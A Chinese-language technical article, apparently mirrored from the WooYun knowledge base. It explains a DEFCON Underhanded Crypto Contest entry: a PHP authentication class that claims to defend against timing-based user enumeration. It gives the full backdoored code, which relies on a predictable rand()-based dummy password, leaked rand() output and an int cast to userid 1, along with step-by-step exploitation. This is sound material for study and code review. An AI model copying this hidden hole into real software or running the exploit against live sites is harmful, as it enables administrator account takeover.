Web應用隱形後門的設計與實現

wyzsk發表於2020-08-19
作者: m6aa8k · 2016/01/07 10:16

原文地址:https://stackoverflow.com/a/15494343/2224584

0x00 導言


通俗地說,“後門”通常是計算機犯罪分子在首次攻陷系統之後留下的一個程式程式碼,以便於將來再次訪問該系統。

但是,後門還可以是故意安插在軟體專案中的安全漏洞,以便於攻擊者將來透過它來控制你的系統。下面,我們就專門來討論一下第二種情形。

本文將涉及許多具體程式碼,如果乍看看不明白也不要緊,可以直接跳過,我會隨後對其進行詳盡的介紹。

0x01 卑鄙密碼競賽


繼“卑鄙C程式大賽”之後,從2015開始,Defcon駭客大會又推出了“卑鄙密碼競賽”,以尋找和備案那些能夠巧妙地顛覆加密程式碼的最好方法。在DEFCON 23大會上進行了兩項賽事:

  1. GnuPG後門。
  2. 口令認證後門。

我參加了第二項賽事,並最終獲勝。 在本文中,我將介紹自己參賽作品的執行機制,如何讓幹邪惡勾當的程式碼看上去道貌岸然,以及這些對軟體開發的直接影響。

0x02 如何重新設計口令認證後門


首先,我們假設政府工作人員發現了本博主,並希望僱傭我去實現一個後門。

第一步:杜撰一個非常棒的封面故事。

就在DEFCON 23開會之前,密碼專家Scott Contini剛剛釋出了一篇介紹時序邊通道攻擊列舉使用者帳戶的文章,其工作原理如下所示:

  1. 假設你想透過使用者名稱與口令登入web應用。
  2. 這個使用者名稱是否已經註冊? 如果是,就繼續。否則顯示“bad username/password”。
  3. 然後驗證口令,實際上就是驗證該口令的雜湊值是否匹配。如果不匹配的話,就返回“bad username/password”。
  4. 如果透過了第3步,那麼這個使用者就算是透過了認證。

站在攻擊者的角度來看,令第二個步驟失效要比讓第三個步驟失效更能節約時間。如這樣做的話,即使其他部分牢不可破,攻擊者仍然可以傳送成批的請求來找出有效的使用者名稱。

時序洩漏實際上就是後門的一座金礦,因為大部分程式設計師都不瞭解這一安全概念,而理解這一概念的資訊保安專家又不是程式設計師。即使你編寫的與加密有關的程式碼安全性非常差,大部分開發人員也不會看出什麼門道,因為他們知道的並不比你更多。但如果我們這樣做的話,比賽就會很無聊。

到目前為止,我們的總體規劃是這樣的:

  1. 推薦一個解決方案,偽稱可以解決基於時序攻擊的賬戶列舉漏洞。
  2. 然後在我們的解決方案中隱藏一個後門。
  3. 同時要注意偽裝,使其即使在普通的開發人員面前也不會因引起他們的警覺。

第二步:設計階段

下面是TimingSafeAuth類的完整程式碼:

#!php
<?php

/**
 * A password_* wrapper that is proactively secure against user enumeration from
 * the timing difference between a valid user (which runs through the
 * password_verify() function) and an invalid user (which does not).
 */
class TimingSafeAuth
{
    private $db;
    public function __construct(\PDO $db)
    {
        $this->db = $db;
        $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT);
    }

    /**
     * Authenticate a user without leaking valid usernames through timing
     * side-channels
     *
     * @param string $username
     * @param string $password
     * @return int|false
     */
    public function authenticate($username, $password)
    {
        $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username");
        if ($stmt->execute(['username' => $username])) {
            $row = $stmt->fetch(\PDO::FETCH_ASSOC);
            // Valid username
            if (password_verify($password, $row['password'])) {
                return $row['userid'];
            }
            return false;
        } else {
            // Returns false
            return password_verify($password, $this->dummy_pw);
        }
    }
}

當timingsafeauth類被例項化時,它會建立一個啞口令(dummy password) ,這是由於呼叫函式noise()(它改編自anchorcms,定義如下)所致:

#!php
/**
 * Generate a random string with our specific charset, which conforms to the
 * RFC 4648 standard for BASE32 encoding.
 *
 * @return string
 */
function noise()
{
    return substr(
        str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)),
        0,
        32
    );
}

一定要記住這個noise()函式,因為它是後門的關鍵所在。

當我們例項化了所有登入指令碼都需要的timingsafeauth物件之後,它最終會將一個使用者名稱和密碼傳遞給timingsafeauth -> authenticate(),這將執行一個資料庫查詢,然後執行下面兩件事之一:

  1. 如果使用者名稱被發現,那麼就驗證提供的口令,方法是比較該使用者相應檔案的bcrypt雜湊值進行匹配,具體要用到password_verify()函式。
  2. 否則,利用提供的口令和偽造的bcrypt雜湊值作為引數來呼叫password_verify()

由於$->dummy_pw是隨機生成的字串的bcrypt雜湊值,因此,我們總是希望上面的第二種選擇失敗而返回false,但這個過程總是需要花費大約相同的時間(從而隱藏時序側通道),對嗎?

0x03 藏在眼皮底下的漏洞


好吧,最大的謊言就藏在這裡:

#!php
// Returns false
return password_verify($password, $this->dummy_pw);

當然這個函式並不會總是返回false值,如果攻擊者猜到了$this->dummy_pw裡面的“啞口令”的話,它就能夠返回true值了。正確的實現如下所示:

#!php
password_verify($password, $this->dummy_pw);
return false;

讓我們假設審計人員在沒有明確證據面前會對這段程式碼作出無罪推定。“如果我的啞口令是硬編碼的話,肯定會引起別人的關注,但是這裡它是隨機生成的,因此它總能夠避免引起別人的懷疑,對吧?”

不! 因為從密碼學的角度來看,str_shuffle()函式算不上安全的偽隨機數發生器。要理解這一點,我們必須來考察一下str_shuffle()函式的PHP實現程式碼:

#!php
static void php_string_shuffle(char *str, zend_long len) /* {{{ */
{
    zend_long n_elems, rnd_idx, n_left;
    char temp;
    /* The implementation is stolen from array_data_shuffle       */
    /* Thus the characteristics of the randomization are the same */
    n_elems = len;

    if (n_elems <= 1) {
        return;
    }

    n_left = n_elems;

    while (--n_left) {
        rnd_idx = php_rand();
        RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
        if (rnd_idx != n_left) {
            temp = str[n_left];
            str[n_left] = str[rnd_idx];
            str[rnd_idx] = temp;
        }
    }
}

你注意到rnd_idx = php_rand();這一行了嗎? 對於rand(),是一個常見的線性同餘隨機數生成器,重要的是這種型別的隨機數生成器是可破解的,具體可以參考https://stackoverflow.com/a/15494343/2224584

下面我們簡單的回顧一下:

• 如果你猜中了啞口令,那麼函式TimingSafeAuth->authenticate()就會返回true。 • 這個啞口令是由一個不安全的,並且是可預測的隨機數生成器生成的,這個隨機數生成器取自一個現實中的PHP專案。 • 只有那些非常熟悉密碼學以及精通PHP的開發人員才會意識到這裡隱藏的危險。

這個是有用的,但沒有多少可利用性。在接下來的實現階段,我們就會把這個故意設計的安全漏洞安插到我們的程式碼之中。

第三步:實現後門

我們的登入表單大致如下所示:

#!php
<?php
# This is all just preamble stuff, ignore it.
require_once dirname(__DIR__).'/autoload.php';
$pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');
session_start();

# Start here
if (!isset($_SESSION['userid'])) {
    # If you aren't currently logged in...
    if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) {
        # If you sent a CSRF token in the POST form data and a CSRF cookie
        if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) {
            # And they match (compared in constant time!), proceed
            $auth = new TimingSafeAuth($pdo);
            # Pass the given username and password to the authenticate() method.
            $userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
            # Take note of the type cast to (int).
            if ($userid) {
                // Success!
                $_SESSION['userid'] = $userid;
                header("Location: /");
                exit;
            }
        }
    }
    # This is the login form:
    require_once dirname(__DIR__).'/secret/login_form.php';
} else {
    # This is where you want to be:
    require_once dirname(__DIR__).'/secret/login_successful.php';
}

現在,我們來看最後一個程式碼塊(login_form_.PHP,該程式碼用來給未授權的使用者生成登入表單):

#!php
<?php
if (!isset($_COOKIE['csrf'])) {
    # Remember this?
    $csrf = noise();
    setcookie('csrf', $csrf);
} else {
    $csrf = $_COOKIE['csrf'];
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Log In</title>
    <!-- # Below: We leak rand(); but that's totally benign, right? -->
    <link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?>
</head>
<body>
<form method="post" action="/">
    <input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" />
    <table>
        <tr>
            <td>
                <fieldset>
                    <legend>Username</legend>
                    <input type="text" name="username" required="required" />
                </fieldset>
            </td>
            <td>
                <fieldset>
                    <legend>Password</legend>
                    <input type="password" name="password" required="required" />
                </fieldset>
            </td>
        </tr>
        <tr>
            <td colsan="2">
                <button type="submit">
                    Log In
                </button>
            </td>
        </tr>
    </table>
</form>
</body>
</html>

這段程式碼主要就是生成一個完全正常的口令表單。它還包括基本的CSRF保護措施,也是由noise()來實現的。 每當你載入沒有cookie的頁面時,它都會由noise()生成的輸出來作為一個新的CSRF cookie。

當然單靠這些我們就可以找出隨機數生成程式的種子值並預測出啞口令,但是,我們還可以進一步透過樣式查詢字串來洩露rand()的輸出。 實際上,這個新的CSRF cookie對於在無需失敗的登入嘗試的條件下來判斷noise()的預測是否成功非常有用。

你有沒有注意到$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);這一行程式碼呢? 它實際上就是我們後門中的另一行程式碼。當轉換為整數的時候,PHP就會把true的值設定為1。在Web應用中,使用者識別符號取值較低的,通常都與管理賬戶有關。

0x04 利用方法


將上面的所有資訊綜合起來,你就會發現實際上利用方法非常簡單:

  1. 向登入表單傳送一些良性的請求,並且每次都要故意漏掉CSRF cookie,同時密切關注HTML中style.css後面的查詢字串。
  2. 不要忘了你可以準確地預測下一個CSRF cookie,你可以將它作為隨機選擇的使用者名稱的一個口令。需要注意的是,這個使用者名稱必須足夠隨機,以確保它不是一個有效的使用者名稱。
  3. 最終會作為userid =1的使用者登入。

0x05 這個後門給我們的提示是什麼?


  • 不要火急火燎的讓開發人員修補他們尚未完全弄明白的安全漏洞。
  • 對於那些難題的新穎解決方案都應該透過專家進行仔細審查。
  • 使用者列舉是一個非常棘手的難題。在我看來,與其將力氣花在解決使用者列舉問題上面,還不如設法提高口令的安全性。口令管理程式能夠帶來更大的幫助!
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章